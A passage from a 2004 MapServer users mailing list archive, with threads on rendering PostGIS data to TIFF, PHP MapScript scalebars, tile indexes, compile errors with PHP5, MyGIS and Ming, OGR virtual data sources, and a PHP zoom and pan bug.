OUTPUT=WBMP SUPPORTS=FREETYPE INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=SHAPEFILE Thanks Zamil -----Original Message----- From: Siki Zoltan [mailto:siki at agt.bme.hu] Sent: Friday, May 28, 2004 12:18 PM To: Zamil Murji Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] How do I create a georeferenced tiff file... {Scanned} {Scanned} Hi, I think shp2img can help you. You must have mapserver with postgis driver. Create the neccessary map file and run shp2img on that map file. shp2img is distributed with mapserver. I think gdal_translate can't help, it translates between raster formats. Postgis store vector data, not raster. Bye Zoltan On Thu, 27 May 2004, Zamil Murji wrote: > Hello list, > > I've got a postgis table with approximately 500000 rows. I would like to extract that data at various scales into georeferenced tiff images. How do I do this? What programs can I use? > > Thanks for your help, > Zamil > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From vaiod at berloy.com Fri May 28 16:02:25 2004 From: vaiod at berloy.com (Eric Katherman) Date: Fri, 28 May 2004 16:02:25 -0700 Subject: [Mapserver-users] Quick Lesson Message-ID: <200405281602.25925.vaiod@berloy.com> Okay.. I have been using PHP for a while now but the documentation that is provided for the PHP classes and MS are confusing me. Could someone explain what I am looking at and how I can use this information in a practical application with PHP? I am trying to get the scalebar to show up using PHP but am having no success. Perhaps a good PHP Classes reference so that I can better grasp this whole constructor concept. Snippit from MS/PHP Reference ------ ScalebarObj Class Constructor: Instances of scalebarObj are always are always embedded inside the mapObj. Members: int height; int width; int style; int intervals; colorObj color; colorObj backgroundcolor; colorObj outlinecolor; int units; int status; //MS_ON, MS_OFF, MS_EMBED int position; //for embeded scalebars, MS_UL, MS_UC, ... int transparent; int interlace; int postlabelcache; labelObj label; colorObj imagecolor; ----- Thanks, Eric From ARyan at co.linn.or.us Fri May 28 16:25:40 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Fri, 28 May 2004 16:25:40 -0700 Subject: [Mapserver-users] Quick Lesson Message-ID: <614FCE5F14A6D41180C200010240D6A269980F@LINNMS> Eric, It takes a little getting used to...look to the parent object. Rarely do I construct anything but a map object. With a map object, try the drawScaleBar() method or the embedScalebar(imageObj image) method. Adam -----Original Message----- From: Eric Katherman [mailto:vaiod at berloy.com] Sent: Friday, May 28, 2004 4:02 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Quick Lesson Okay.. I have been using PHP for a while now but the documentation that is provided for the PHP classes and MS are confusing me. Could someone explain what I am looking at and how I can use this information in a practical application with PHP? I am trying to get the scalebar to show up using PHP but am having no success. Perhaps a good PHP Classes reference so that I can better grasp this whole constructor concept. Snippit from MS/PHP Reference ------ ScalebarObj Class Constructor: Instances of scalebarObj are always are always embedded inside the mapObj. Members: int height; int width; int style; int intervals; colorObj color; colorObj backgroundcolor; colorObj outlinecolor; int units; int status; //MS_ON, MS_OFF, MS_EMBED int position; //for embeded scalebars, MS_UL, MS_UC, ... int transparent; int interlace; int postlabelcache; labelObj label; colorObj imagecolor; ----- Thanks, Eric _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri May 28 17:08:20 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 28 May 2004 19:08:20 -0500 Subject: [Mapserver-users] nested tiles Message-ID: Can you share the mapfile snippet? I'm curious what you tried? >>> "Dinen Subramaniam" 05/28/04 3:37 PM >>> Jan, I have tried nested tiling but you don't get the desired results. There is no error generated but the polygons representing the tiles at the second layer are rendered. That is the second layer of tile indexes are treated like a regular shape file, and its polygons are rendered. This can be interesting if you have used shp2tile with the -q option and want to see where your tiles are. Dinen -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jan Hartmann Sent: Friday, May 28, 2004 9:45 AM To: Ed McNierney Cc: Mapserver Users List Subject: Re: [Mapserver-users] nested tiles Ed McNierney wrote: > Jan - > > Yes, I agree with Steve - I doubt you need this. I would recommend you > create a single tileindex and then be sure to create quadtree index on > the tileindex by using shptree. > OK, I'll do that; it's a small country after all. The quadtree is a good suggestion, perhaps that's what I did read about. Just for the record: *are* nested tiles possible? Jan _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users --- [This E-mail scanned for viruses by Declude Virus] --- [This E-mail scanned for viruses by Declude Virus] _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From merlos at tsc.uvigo.es Fri May 28 20:01:14 2004 From: merlos at tsc.uvigo.es (Merlos) Date: Sat, 29 May 2004 05:01:14 +0200 Subject: [Mapserver-users] Compiling problems ms 4.2+PHP5 Message-ID: Hello, I'm trying to compile mapserver 4.2 and php5-RC2, has anybody succeed to compile it with php5 or do I have to use PHP 4.3.x? I am doing something wrong? Any advice? This are my cofigure options: ./configure --with-proj --with-ogr --with-gdal --with-postgis --with-wfs --with-wmsclient --with-httpd=/usr/sbin/apache --with-php=/usr/local/include/php --with-tiff and when I run make I got this message: gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_WMS_SVR -DUSE_POSTGIS -DUSE_TIFF -DUSE_GDAL -DUSE_OGR -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_EPPL -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -I/home/merlos/public_html/pub/geotools/mapserver/mapserver-4.2.0 -I/usr/local/include -I/usr/local/pgsql/include -I/usr/local/include -I/usr/local/include -I/usr/local/include/php -I/usr/local/include/php/dl -I/usr/local/include/php/main -I/usr/local/include/php/Zend -I/usr/local/include/php/include -I/usr/local/include/php/TSRM -c -o php_mapscript_util.o php_mapscript_util.c php_mapscript_util.c: In function `_phpms_fetch_handle2': php_mapscript_util.c:148: error: structure has no member named `properties' php_mapscript_util.c:150: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_fetch_property_handle2': php_mapscript_util.c:200: error: structure has no member named `properties' php_mapscript_util.c:202: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_fetch_property_string': php_mapscript_util.c:247: error: structure has no member named `properties' php_mapscript_util.c:249: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_fetch_property_long': php_mapscript_util.c:273: error: structure has no member named `properties' php_mapscript_util.c:275: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_fetch_property_double': php_mapscript_util.c:306: error: structure has no member named `properties' php_mapscript_util.c:308: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_fetch_property_resource': php_mapscript_util.c:332: error: structure has no member named `properties' php_mapscript_util.c:334: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_set_property_string': php_mapscript_util.c:368: error: structure has no member named `properties' php_mapscript_util.c:370: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_set_property_null': php_mapscript_util.c:396: error: structure has no member named `properties' php_mapscript_util.c:398: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_set_property_long': php_mapscript_util.c:425: error: structure has no member named `properties' php_mapscript_util.c:427: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_phpms_set_property_double': php_mapscript_util.c:454: error: structure has no member named `properties' php_mapscript_util.c:456: warning: dereferencing type-punned pointer will break strict-aliasing rules php_mapscript_util.c: In function `_php_extract_associative_array': php_mapscript_util.c:542: warning: dereferencing type-punned pointer will break strict-aliasing rules make: *** [php_mapscript_util.o] Error 1 I found another problem. If I try to compile with --with-postgis and --with-mygis I got another error message. It seems that there are repeated functions, is it possible to compile allowing both data sources? gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -DUSE_MYGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/include/mysql -I/usr/local/include shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lfreetype -lpng -lz -lpdf -ltiff -ljpeg -lfreetype -lpng -lz -lproj -ljpeg -L/usr/local/lib -lgdal -L/usr/local/pgsql/lib -lpq -L/usr/lib -lmysqlclient -lz -lcrypt -lnsl -lm -L/usr/lib -lssl -lcrypto -lmysqlclient -L/usr/local/lib -lcurl -lssl -lcrypto -ldl -lz -lm -lstdc++ -o shp2img ./libmap.a(mapmygis.o)(.text+0x0): In function `DATAERRORMESSAGE': : multiple definition of `DATAERRORMESSAGE' ./libmap.a(mappostgis.o)(.text+0x1c0): first defined here /usr/bin/ld: Warning: size of symbol `DATAERRORMESSAGE' changed from 219 in ./libmap.a(mappostgis.o) to 480 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x9c0): In function `prep_DB': : multiple definition of `prep_DB' ./libmap.a(mappostgis.o)(.text+0x510): first defined here /usr/bin/ld: Warning: size of symbol `prep_DB' changed from 1623 in ./libmap.a(mappostgis.o) to 1396 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x1130): In function `force_to_points': : multiple definition of `force_to_points' ./libmap.a(mappostgis.o)(.text+0xee0): first defined here /usr/bin/ld: Warning: size of symbol `force_to_points' changed from 573 in ./libmap.a(mappostgis.o) to 654 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x13c0): In function `force_to_lines': : multiple definition of `force_to_lines' ./libmap.a(mappostgis.o)(.text+0x1120): first defined here /usr/bin/ld: Warning: size of symbol `force_to_lines' changed from 450 in ./libmap.a(mappostgis.o) to 536 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x15e0): In function `force_to_polygons': : multiple definition of `force_to_polygons' ./libmap.a(mappostgis.o)(.text+0x12f0): first defined here /usr/bin/ld: Warning: size of symbol `force_to_polygons' changed from 276 in ./libmap.a(mappostgis.o) to 488 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x17d0): In function `dont_force': : multiple definition of `dont_force' ./libmap.a(mappostgis.o)(.text+0x1410): first defined here /usr/bin/ld: Warning: size of symbol `dont_force' changed from 151 in ./libmap.a(mappostgis.o) to 250 in ./libmap.a(mappostgis.o) ./libmap.a(mapmygis.o)(.text+0x2190): In function `find_bounds': : multiple definition of `find_bounds' ./libmap.a(mappostgis.o)(.text+0x14b0): first defined here collect2: ld returned 1 exit status make: *** [shp2img] Error 1 Finally, When I try to compile with ming (I've installed latest release ming 0.3beta1), when running configure I got this message: checking if MING/Flash support requested... yes, user supplied MING directory ./configure: line 8175: -lming: command not found And then when running make: gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_MING_FLASH -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -DUSE_MYGIS -I/usr/local/include -I/usr/local/include -I/usr/local/pgsql/include -I/usr/include/mysql -I/usr/local/include -I/usr/local mapswf.c -o mapswf.o mapswf.c: In function `BuildButtonFromGD': mapswf.c:444: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `BuildEllipseButton': mapswf.c:529: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:534: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `BuildButtonPolygon': mapswf.c:720: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:727: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:731: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `BuildButtonLine': mapswf.c:782: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:788: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `msImageStartLayerSWF': mapswf.c:976: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:980: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:986: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:991: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawStartShapeSWF': mapswf.c:1062: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1070: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawMarkerSymbolSWF': mapswf.c:1274: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1293: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1320: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1358: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1372: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1411: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1434: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `DrawButtonFilledPolygon': mapswf.c:1508: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:1514: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:1517: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `DrawButtonPolyline': mapswf.c:1542: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c:1547: warning: passing arg 2 of `SWFButton_addShape' from incompatible pointer type mapswf.c: In function `msDrawLineSymbolSWF': mapswf.c:1690: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1697: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawShadeSymbolSWF': mapswf.c:1815: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1822: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1859: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:1866: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `draw_textSWF': mapswf.c:1984: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawLabelCacheSWF': mapswf.c:2141: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawWMSLayerSWF': mapswf.c:2534: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msDrawRasterLayerSWF': mapswf.c:2588: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c: In function `msSaveImageSWF': mapswf.c:2626: error: too few arguments to function `SWFMovie_save' mapswf.c:2644: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2648: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2652: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2657: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2665: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2670: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2675: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2682: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2760: error: too few arguments to function `SWFMovie_save' mapswf.c:2772: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type mapswf.c:2779: error: too few arguments to function `SWFMovie_save' mapswf.c: In function `msDrawVectorLayerAsRasterSWF': mapswf.c:2898: warning: passing arg 2 of `SWFMovie_add' from incompatible pointer type make: *** [mapswf.o] Error 1 If anyone can help me... Thank you in advance! Regards. Juan. -- http://www.merlos.biz From Chip.Hankley at rmtinc.com Fri May 28 19:53:59 2004 From: Chip.Hankley at rmtinc.com (Chip Hankley) Date: Fri, 28 May 2004 21:53:59 -0500 Subject: [Mapserver-users] [mapserver]virtual spatial data Message-ID: --=__Part3312C957.1__= Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Disposition: inline Zak, et al, I've had a chance to play with this some more. I made a mistake in my earlier posts. The web server I was trying things off of was a WinNT box, not Windows 2000. However, I have tried it on my home box (a Windows 2000 machine) with the same results. So, here's what I've tried. 1) *.ovf against a MS Access 2000 based database (System DSN) 2) *.ovf against a text based table - csv (System DSN) In both cases, the following commands work: ogrinfo -ro virtual.ovf ...returns: INFO: Open of `virtual.ovf' using driver `VRT' successful. 1: MyLayer (Point) ogrinfo -ro virtual.ovf mylayer ...returns: INFO: Open of `virtual.ovf' using driver `VRT' successful. Layer name: MyLayer Geometry: Point Feature Count: 25 Extent: (390873.700800, 5204448.446000) Layer SRS WKT: (unknown) ID: Integer (10.0) X: Real (0.0) Y: Real (0.0) OGRFeature(MyLayer):0 ID (Integer) = 1 X (Real) = 480578.0069 Y (Real) = 5210762.762 POINT (480578.007 5210762.762 0.000) ... and so on. However, when I try to call it from MapServer, I get the following error: msDrawMap(): Image handling error. Failed to draw layer named 'MyVirtualLayer'. msOGRFileOpen(): OGR error. Open failed for OGR connection `C:/inetpub/wwwroot/MapServer/PointTest/data/virtual.ovf'. File not found or unsupported format. I'm attaching the following: ogr.map (the mapfile) virtual.ovf (virtual data file) data.txt (the text table I'm trying to hit) Again, this was tested on a Windows 2000 Professional OS, using an MS4.2 beta build I downloaded off of the MS site last week. Hope that helps... let me know if there's any other test I can run. Chip Outgoing messages, along with any attachments, are scanned for viruses at RMT prior to sending. ------------------------------------------------------------------------------ NOTICE--This email may contain confidential and privileged information for the sole use of the intended recipient. Any review or distribution by others is strictly prohibited. If you are not the intended recipient, please contact the sender immediately and delete all copies. --=__Part3312C957.1__= Content-Type: application/octet-stream; name="ogr.map" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ogr.map" Iw0KIyBTdGFydCBvZiBtYXAgZmlsZQ0KIw0KTUFQDQogIE5BTUUgSVRBU0NBDQogIFNUQVRVUyBP Tg0KICBTSVpFIDYwMCA2MDANCiAgRVhURU5UIDM4ODEwNy42MzQ0MDAzNzkgNTIwMzEyMC44ODQw NTk1MiA1MDA4OTYuMzM5MDE5ODM0IDUzMTAyNDMuMzA2MTM4OTcNCiAgVU5JVFMgRkVFVA0KICBT SEFQRVBBVEggImRhdGEiDQogIElNQUdFQ09MT1IgMjU1IDI1NSAyNTUNCiAgVEVNUExBVEVQQVRU RVJOICJwdHRlc3QiDQoNCiAgSU1BR0VUWVBFIFBORw0KICANCiAgIw0KICAjIFN0YXJ0IG9mIHdl YiBpbnRlcmZhY2UgZGVmaW5pdGlvbiAoaW5jbHVkaW5nIFdNUyBlbmFibGluZyBtZXRhZGF0YSkN CiAgIw0KICBXRUINCiAgICBIRUFERVIgdGVtcGxhdGVzL2hlYWRlci5odG1sDQogICAgVEVNUExB VEUgInNldCBpbiBpbmRleC5odG1sIg0KICAgIEZPT1RFUiB0ZW1wbGF0ZXMvZm9vdGVyLmh0bWwN CiAgICBNSU5TQ0FMRSAxMDAwDQogICAgTUFYU0NBTEUgMTU1MDAwMA0KICAgIElNQUdFUEFUSCAi c2V0IGluIGluZGV4Lmh0bWwiDQogICAgSU1BR0VVUkwgInNldCBpbiBpbmRleC5odG1sIg0KDQog IEVORA0KDQogICMNCiAgIyBTdGFydCBvZiBzY2FsZWJhcg0KICAjDQogIFNDQUxFQkFSDQogICAg SU1BR0VDT0xPUiAwIDAgMA0KICAgIExBQkVMDQogICAgICBDT0xPUiAyNTUgMjU1IDI1NQ0KICAg ICAgU0laRSBUSU5ZDQogICAgRU5EDQogICAgU1RZTEUgMQ0KICAgIFNJWkUgMTAwIDINCiAgICBD T0xPUiAyNTUgMjU1IDI1NQ0KICAgIFVOSVRTIEZFRVQNCiAgICBJTlRFUlZBTFMgMQ0KICAgIFRS QU5TUEFSRU5UIFRSVUUNCiAgICBTVEFUVVMgT04NCiAgRU5EDQoNCiAgIw0KICAjIFN0YXJ0IG9m IGxheWVyIGRlZmluaXRpb25zDQogICMNCiAgTEFZRVINCiAgICBOQU1FICJNeVZpcnR1YWxMYXll ciINCiAgICBUWVBFIFBPSU5UDQogICAgQ09OTkVDVElPTlRZUEUgT0dSDQoJQ09OTkVDVElPTiAi QzovaW5ldHB1Yi93d3dyb290L01hcFNlcnZlci9Qb2ludFRlc3QvZGF0YS92aXJ0dWFsLm92ZiIg IyB0aGUgbmFtZSBhbmQgcGF0aCB0byB0aGUgdmlydHVhbC5vdmYgZmlsZSwgcmVsYXRpdmUgdG8g c2hhcGVwYXRoIG1heSB3b3JrPw0KICAjRFVNUCBUUlVFICMgZm9yIFdGUyBvbmx5DQoJREFUQSAi TXlMYXllciIgIyB0aGUgbmFtZSBvZiB0aGUgT0dSVnJ0TGF5ZXINCiAgICBTVEFUVVMgT04NCiAg ICBDTEFTUw0KICAgICAgU1lNQk9MIDENCiAgICAgIFNJWkUgNg0KICAgICAgQ09MT1IgMjU1IDAg MA0KICAgIEVORCAjQ2xhc3MNCiAgRU5EICNMYXllcg0KRU5EICNNYXBmaWxlDQoNCg== --=__Part3312C957.1__= Content-Type: text/plain; name="data.txt" Content-Transfer-Encoding: 8bit Content-Disposition: attachment; filename="data.txt" ID,X,Y 1,480578.0069,5210762.762 2,406471.8975,5231732.188 3,421949.7605,5309334.259 4,486205.6383,5206175.655 5,418918.5465,5208542.54 6,418517.3127,5215273.744 7,431802.8372,5303975.903 8,457458.8175,5301521.854 9,458852.7883,5235005.156 10,429417.4341,5228201.624 11,457737.4239,5222193.938 12,481929.8764,5280190.575 13,497773.6159,5235507.038 14,430836.9841,5293155.729 15,458001.5022,5221597.725 16,407386.5516,5300599.051 17,390873.7008,5210050.156 18,443150.2801,5204448.446 19,492146.379,5236810.172 20,484023.9341,5209345.238 21,485224.6403,5268335.217 22,455537.428,5268990.1 23,400637.86,5232282.698 24,475053.1434,5303022.021 25,424775.2919,5205557.469 --=__Part3312C957.1__= Content-Type: application/octet-stream; name="virtual.ovf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="virtual.ovf" PE9HUlZSVERhdGFTb3VyY2U+DQogICAgPE9HUlZSVExheWVyIG5hbWU9Ik15TGF5ZXIiPg0KICAg ICAgICA8U3JjRGF0YVNvdXJjZT5PREJDOkdJU0RBVEEyPC9TcmNEYXRhU291cmNlPg0KIAk8U3Jj TGF5ZXI+ZGF0YS50eHQ8L1NyY0xheWVyPg0KCTxHZW9tZXRyeVR5cGU+d2tiUG9pbnQ8L0dlb21l dHJ5VHlwZT4NCgk8R2VvbWV0cnlGaWVsZCBlbmNvZGluZz0iUG9pbnRGcm9tQ29sdW1ucyIgeD0i WCIgeT0iWSIvPiANCiAgICA8L09HUlZSVExheWVyPg0KPC9PR1JWUlREYXRhU291cmNlPg0KDQo= --=__Part3312C957.1__=-- From brian at entropy.net Sat May 29 02:47:07 2004 From: brian at entropy.net (Brian Russo) Date: Sat, 29 May 2004 05:47:07 -0400 Subject: [Mapserver-users] editing data via mapserver Message-ID: <20040529094707.GD23794@badfish.securityminded.net> Forgive me if this is a stupid question, I've looked through the docs and archives a bit... can you edit/add things to a layer via mapserver? I'm getting the impression it's not really built-in.. has anyone done this? any other open source stuff that can do this? geotools? cheers, - bri -- Recursivity. Call back if it happens again. From selkiesdad at twcny.rr.com Sat May 29 04:22:02 2004 From: selkiesdad at twcny.rr.com (Andrew) Date: Sat, 29 May 2004 07:22:02 -0400 Subject: [Mapserver-users] proj.4 related utilities question References: <20040529094707.GD23794@badfish.securityminded.net> Message-ID: <40B8725A.6000205@twcny.rr.com> I have been reading the proj.4 pdf documentation and found a reference at the very end to proj related utilities called inv27 inv83 for27 for83 used to forward and inverse project state plane data to cartesian coordinates. I was wondering if anyone has used or know about these utilities? I don't find any info in the proj.4 source distribution, and I can't get to the home page for some reason right now to check on this. From dmorissette at dmsolutions.ca Sat May 29 04:51:53 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Sat, 29 May 2004 07:51:53 -0400 Subject: [Mapserver-users] Compiling problems ms 4.2+PHP5 In-Reply-To: References: Message-ID: <40B87959.6060708@dmsolutions.ca> Merlos wrote: > Hello, > > I'm trying to compile mapserver 4.2 and php5-RC2, has anybody succeed to > compile it with php5 or do I have to use PHP 4.3.x? I am doing something > wrong? Any advice? > I wouldn't expect things to work with PHP5. You will have to use PHP 4.3.x > > I found another problem. If I try to compile with --with-postgis and > --with-mygis I got another error message. It seems that there are repeated > functions, is it possible to compile allowing both data sources? > There is already a bug about this: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=632 In the last comment I propose that the duplicate functions should be made static in both mappostgis.c and mapmygis.c but I was not setup to test that. Can you please try changing the following: char *DATAERRORMESSAGE(char *dString, char *preamble) to static char *DATAERRORMESSAGE(char *dString, char *preamble) and the same for all other duplicate functions, in both source files, and report to the bug if that fixes the issue. I'm 99% sure it will but don't want to commit that to CVS until someone tests it. > > > Finally, When I try to compile with ming (I've installed latest release ming > 0.3beta1), when running configure I got this message: > > checking if MING/Flash support requested... yes, user supplied MING directory > ./configure: line 8175: -lming: command not found > command not found? That's odd. > And then when running make: > > gcc -c -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ > -DUSE_PROJ_API_H -DUSE_WMS_SVR -DUSE_WMS_LYR -DUSE_WFS_SVR -DUSE_MING_FLASH > -DUSE_TIFF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_PDF > -DUSE_OGR -DUSE_GDAL -DUSE_POSTGIS -DUSE_MYGIS -I/usr/local/include > -I/usr/local/include -I/usr/local/pgsql/include -I/usr/include/mysql > -I/usr/local/include -I/usr/local mapswf.c -o mapswf.o > mapswf.c: In function `BuildButtonFromGD': > mapswf.c:444: warning: passing arg 2 of `SWFButton_addShape' from > incompatible pointer type Maybe something radical changed in v0.3 making it incompatible with v0.2. Perhaps file a bug in bugzilla about this one. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From muchemijg at yahoo.com Sat May 29 05:57:55 2004 From: muchemijg at yahoo.com (julius muchemi) Date: Sat, 29 May 2004 05:57:55 -0700 (PDT) Subject: [Mapserver-users] mscalculate() and explode() Message-ID: <20040529125755.67747.qmail@web14424.mail.yahoo.com> --0-2045783271-1085835475=:67558 Content-Type: text/plain; charset=us-ascii i have ahead with the project and after displaying the the layer now want to add zoom and pan capabilities to the previous code. I'm still on windows 2000. i have the following error in browser which i dont know how to solve Warning: Wrong parameter count for explode() in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18 Fatal error: [MapServer Error]: msCalculateScale(): Invalid image extent. in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 19 The code looks like this: ?php dl("php_mapscript_4.0.1.dll"); $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/"; $map = ms_newMapObj($map_path."nakuru.map"); $val_zsize=3; $check_pan="CHECKED"; ?> NAKURU MUNICIPALITY MAP: :By ERMIS AFRICA
setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]); $my_extent=ms_newpointObj(); $my_point->setXY("mapa_x", "mapa_y"); $my_extent = ms_newrectObj(); $my_extent = $map->setextent($extent_to_set[0], $extent_to_set[1], $extent_to_set[2], $extent_to_set[3]); } ?> zoompoint ($zoom_factor, $my_point, $map->width, $map->height, $my_extent); $image = $map->draw(); $image_url=$image->saveWebImage(); $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; ?> Could trace anything wrong with my zoom and pan code. SPecifically this code $map->setextent($extent_to_set[0],$extent_to_set[1],$extent_to_set[2],$extent_to_set[3]); and $extent_to_html = $map->EXTENT->minx." ".$map->EXTENT->miny." ".$map->EXTENT->maxx." ".$map->EXTENT->maxy; as seem to be source of all the above errors Muchemi --------------------------------- Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger --0-2045783271-1085835475=:67558 Content-Type: text/html; charset=us-ascii
i have ahead with the project and after displaying the the layer now want to add zoom and pan capabilities to the previous code. I'm still on windows 2000.
i have the following error in browser which i dont know how to solve

Warning: Wrong parameter count for explode() in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 18
Fatal error: [MapServer Error]: msCalculateScale(): Invalid image extent. in C:\Program Files\Apache Group\Apache2\htdocs\Nakmap\nakint.php on line 19
The code looks like this:
?php
dl("php_mapscript_4.0.1.dll");
 $map_path = "C:/Program Files/Apache Group/Apache2/htdocs/Nakmap/";
 $map = ms_newMapObj($map_path."nakuru.map");
 $val_zsize=3;
 $check_pan="CHECKED";
?>
<HTML>
 <HEAD>
